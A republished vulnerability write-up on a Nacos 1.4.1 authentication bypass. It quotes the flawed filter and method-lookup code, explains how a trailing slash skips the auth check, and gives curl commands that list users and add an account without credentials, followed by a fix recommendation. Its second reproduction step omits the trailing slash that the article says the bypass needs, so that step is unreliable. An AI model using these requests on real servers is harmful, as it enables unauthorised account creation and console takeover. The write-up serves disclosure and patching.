Bypassing Nacos 1.4.1 User-Agent Authentication to Add Arbitrary Users
The article explains how Nacos 1.4.1's serverIdentity key‑value authentication can be bypassed by manipulating the request path, allowing attackers to call any HTTP interface, add new users, and gain full console access, and provides reproduction steps and a fix recommendation.
Vulnerability Details
The issue resides in com.alibaba.nacos.core.auth.AuthFilter#doFilter. The filter checks three conditions:
If authConfigs.isEnableUserAgentAuthWhite() is true, a request with User-Agent: Nacos-Server bypasses authentication.
If both authConfigs.getServerIdentityKey() and authConfigs.getServerIdentityValue() are set, the filter compares the header value with the configured value.
If none of the above match, the request is rejected.
The bypass occurs in the second branch because the logic that should reject mismatched server identity does not execute when the method lookup returns null.
public class AuthFilter implements Filter {
@Autowired
private AuthConfigs authConfigs;
@Autowired
private AuthManager authManager;
@Autowired
private ControllerMethodsCache methodsCache;
private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
if (!authConfigs.isAuthEnabled()) {
chain.doFilter(request, response);
return;
}
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (authConfigs.isEnableUserAgentAuthWhite()) {
String userAgent = WebUtils.getUserAgent(req);
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}
} else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())) {
String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(), req.getRemoteHost());
} else {
resp.sendError(HttpServletResponse.SC_FORBIDDEN, "Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key` and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
return;
}
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
// ... further authentication logic ...
}
}The critical flaw is in the second branch: when the configured server identity does not match, the filter should reject the request, but due to the subsequent method == null check, the request can bypass authentication if methodsCache.getMethod(req) returns null.
Root Cause in Method Lookup
The ControllerMethodsCache#getMethod method builds a urlKey from the HTTP method and request path. If the path ends with a trailing slash, the lookup fails because Nacos registers mappings without a trailing slash.
public Method getMethod(HttpServletRequest request) {
String path = getPath(request);
if (path == null) {
return null;
}
String httpMethod = request.getMethod();
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
if (CollectionUtils.isEmpty(requestMappingInfos)) {
return null;
}
// ... match and return the corresponding Method ...
}
private String getPath(HttpServletRequest request) {
String path = null;
try {
path = new URI(request.getRequestURI()).getPath();
} catch (URISyntaxException e) {
LOGGER.error("parse request to path error", e);
}
return path;
}By sending a request with an extra trailing slash (e.g.,
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is), the generated path becomes /nacos/v1/auth/users/. This key does not exist in urlLookup, causing method to be null and the authentication logic to be skipped.
Impact Scope
Only Nacos version 1.4.1 is affected.
Vulnerability Reproduction
1. Retrieve the user list with a trailing slash to bypass authentication:
curl -XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'2. Add a new user without authentication:
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'3. Verify the new user appears in the user list.
Fix Recommendation
Upgrade to the hot‑fixed version of Nacos 1.4.1 (released on 2021‑01‑14) where the bypass is addressed. Download the latest release from the official GitHub page.
Reference: https://github.com/alibaba/nacos/releases/tag/1.4.1
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
Programmer DD
A tinkering programmer and author of "Spring Cloud Microservices in Action"
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
